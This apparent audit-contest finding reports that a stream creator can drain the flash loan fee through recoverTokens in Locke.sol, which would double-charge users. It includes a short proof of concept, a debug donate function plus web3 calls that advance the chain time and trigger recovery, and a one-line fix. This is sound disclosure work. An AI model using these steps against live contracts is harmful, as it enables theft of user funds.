Streaming Protocol contest - jonah1005's results

Handle

jonah1005

Vulnerability details

stream creator can steal flash loan fee by calling recoverTokens

Impact

The Stream creator can recover tokens that were mistakenly sent to the contract through. recoverTokens Locke.sol#L646-L677 The creator should only be able to recover the excess token. However, it doesn't handle the flash loan fee.

    uint256 excess = ERC20(token).balanceOf(address(this)) - (depositTokenAmount - redeemedDepositTokens);

If recoverTokens is called before claimFees the users would be double-charged.

Proof of Concept

In order to simplify the POC I added a debug function donateFlashLoanFee in the Stream contract.

    function donateFlashLoanFee(uint256 amount) public {
        ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
        depositTokenFlashloanFeeAmount += uint112(amount);
    }

We can create a simplify Stream contract with no one stakes in the contract. The contract sends flashloanfee back to the streamCreator.

dai.functions.approve(stream.address, deposit_amount).transact()
stream.functions.donateFlashLoanFee(deposit_amount).transact()

w3.provider.make_request('evm_setNextBlockTimestamp', [hex(start_time + duration + duration)])

stream.functions.recoverTokens(dai.address, user).transact()
// output: 0
print(dai.functions.balanceOf(stream.address).call())

Tools Used

hardhat

Recommended Mitigation Steps

The dev handles recovering rewardTokens perfectly.Locke.sol#L672 Recommended to follow it.

            uint256 excess = ERC20(token).balanceOf(address(this)) - (depositTokenAmount - redeemedDepositTokens) - depositTokenFlashloanFeeAmount;